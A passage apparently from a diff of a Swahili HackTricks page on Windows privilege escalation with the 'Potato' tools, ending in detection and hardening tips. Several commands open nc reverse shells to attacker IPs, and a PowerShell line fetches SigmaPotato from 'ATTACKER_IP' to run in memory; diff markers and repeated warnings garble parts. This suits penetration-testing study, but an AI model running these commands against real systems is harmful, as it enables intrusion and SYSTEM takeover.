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Translated ['src/windows-hardening/windows-local-privilege-escalation/ro
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{{#include ../../banners/hacktricks-training.md}}
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> [!WARNING] > **JuicyPotato haitumiki** kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** zinaweza kutumika **kuongeza mamlaka sawa na kupata ufikiaji wa kiwango cha `NT AUTHORITY\SYSTEM`**. Hii [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) inaelezea kwa undani kuhusu zana ya `PrintSpoofer`, ambayo inaweza kutumika kuboresha mamlaka ya uigaji kwenye Windows 10 na Server 2019 ambapo JuicyPotato haitumiki tena.
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> [!WARNING]
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> **JuicyPotato haifanyi kazi** kwenye Windows Server 2019 na Windows 10 build 1809 na baadaye. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** zinaweza kutumika kupata vibali sawa na kupata upatikanaji wa ngazi ya `NT AUTHORITY\SYSTEM`. Posti hii ya blogi (https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) inachunguza kwa kina zana ya `PrintSpoofer`, ambayo inaweza kutumika kuabusu vibali vya kuiga (impersonation) kwenye mashine za Windows 10 na Server 2019 ambapo JuicyPotato haifanyi kazi tena.
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## Quick Demo
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> [!TIP]
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> Chaguo la kisasa linalodumishwa mara kwa mara katika 2024–2025 ni SigmaPotato (fork ya GodPotato) ambalo linaongeza matumizi ya in-memory/.NET reflection na msaada wa OS uliopanuliwa. Angalia matumizi ya haraka hapa chini na repo katika References.
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Related pages for background and manual techniques:
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{{#ref}}
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seimpersonate-from-high-to-system.md
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{{#endref}}
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{{#ref}}
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from-high-integrity-to-system-with-name-pipes.md
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{{#endref}}
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{{#ref}}
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privilege-escalation-abusing-tokens.md
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{{#endref}}
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## Mahitaji na mambo ya kuzingatia
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Mbinu zote zinazofuata zinategemea kuabusu huduma yenye uwezo wa kuiga (impersonation-capable) yenye vibali kutoka kwa muktadha unaoshikilia moja ya vibali vifuatavyo:
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- SeImpersonatePrivilege (ya kawaida zaidi) au SeAssignPrimaryTokenPrivilege
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- High integrity haitegemeeki ikiwa token tayari ina SeImpersonatePrivilege (kawaida kwa akaunti nyingi za service kama IIS AppPool, MSSQL, n.k.)
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Angalia vibali haraka:
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```cmd
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whoami /priv | findstr /i impersonate
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```
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Vidokezo vya uendeshaji:
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- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). Katika mazingira yaliyothibitishwa kwa usalama ambapo Spooler imezimwa baada ya PrintNightmare, pendelea RoguePotato/GodPotato/DCOMPotato/EfsPotato.
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- RoguePotato requires an OXID resolver reachable on TCP/135. Ikiwa egress imezuiwa, tumia redirector/port-forwarder (see example below). Older builds needed the -f flag.
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- EfsPotato/SharpEfsPotato hutumia MS-EFSR; ikiwa pipe moja imezuiwa, jaribu pipes mbadala (lsarpc, efsrpc, samr, lsass, netlogon).
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- Kosa 0x6d3 wakati wa RpcBindingSetAuthInfo kawaida inaonyesha huduma ya uthibitishaji ya RPC isiyojulikana/isiyoungwa mkono; jaribu pipe/transport tofauti au hakikisha huduma ya lengo inaendeshwa.
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## Demo ya Haraka
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### PrintSpoofer
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```bash
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@ -21,12 +57,24 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
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NULL
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```
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Vidokezo:
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- Unaweza kutumia -i kuzindua mchakato wa mwingiliano katika console ya sasa, au -c kuendesha one-liner.
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- Inahitaji Spooler service. Ikiwa imezimwa, hii itashindwa.
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### RoguePotato
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```bash
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c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
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# In some old versions you need to use the "-f" param
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c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
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```
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Ikiwa outbound 135 imezuiwa, pivot OXID resolver kupitia socat kwenye redirector yako:
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```bash
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# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
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socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
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# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
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RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999
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```
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### SharpEfsPotato
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```bash
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> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
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@ -63,17 +111,52 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
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nt authority\system
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```
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Kidokezo: Ikiwa pipe moja itashindwa au EDR itazuia, jaribu pipes nyingine zinazounga mkono:
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```text
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EfsPotato <cmd> [pipe]
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pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
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```
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### GodPotato
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```bash
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> GodPotato -cmd "cmd /c whoami"
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# You can achieve a reverse shell like this.
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> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
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```
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Vidokezo:
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- Inafanya kazi kwenye Windows 8/8.1–11 na Server 2012–2022 wakati SeImpersonatePrivilege ipo.
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### DCOMPotato
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## References
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DCOMPotato inatoa aina mbili zinazolenga obyekti za DCOM za huduma ambazo kwa chaguo-msingi huwa na RPC_C_IMP_LEVEL_IMPERSONATE. Jenga au tumia binaries zilizotolewa na endesha amri yako:
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```cmd
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# PrinterNotify variant
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PrinterNotifyPotato.exe "cmd /c whoami"
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# McpManagementService variant (Server 2022 also)
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McpManagementPotato.exe "cmd /c whoami"
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```
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### SigmaPotato (tawi la GodPotato lililosasishwa)
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SigmaPotato inaongeza vipengele vya kisasa kama in-memory execution kupitia .NET reflection na msaidizi wa PowerShell reverse shell.
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```powershell
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# Load and execute from memory (no disk touch)
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[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
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[SigmaPotato]::Main("cmd /c whoami")
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# Or ask it to spawn a PS reverse shell
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[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
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```
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## Vidokezo vya utambuzi na kuimarisha usalama
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- Fuatilia michakato inayounda named pipes na mara moja kuita token-duplication APIs ikifuatiwa na CreateProcessAsUser/CreateProcessWithTokenW. Sysmon inaweza kuonyesha telemetry muhimu: Event ID 1 (process creation), 17/18 (named pipe created/connected), na command lines zinazozalisha child processes kama SYSTEM.
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- Kuimarisha Spooler: Kuzima huduma ya Print Spooler kwenye servers ambapo haifai kunahitajika kunazuia coerctions za ndani za aina ya PrintSpoofer kupitia spoolss.
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- Kuimarisha akaunti za huduma: Punguza utoaji wa SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege kwa custom services. Fikiria kuendesha services chini ya virtual accounts zenye least privileges zinazohitajika na kuzitenga kwa kutumia service SID na write-restricted tokens inapowezekana.
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- Udhibiti wa mtandao: Kuzuia outbound TCP/135 au kupunguza trafiki ya RPC endpoint mapper kunaweza kuvunja RoguePotato isipokuwa internal redirector inapatikane.
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- EDR/AV: Zana hizi zote zina saini zinazotambulika kwa wingi. Recompiling kutoka source, kubadilisha symbols/strings, au kutumia in-memory execution kunaweza kupunguza utambuzi lakini haitavunja behavioral detections thabiti.
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## Marejeo
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- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
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- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
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@ -82,5 +165,7 @@ nt authority\system
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- [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
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- [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
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- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
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- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
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- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
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{{#include ../../banners/hacktricks-training.md}}
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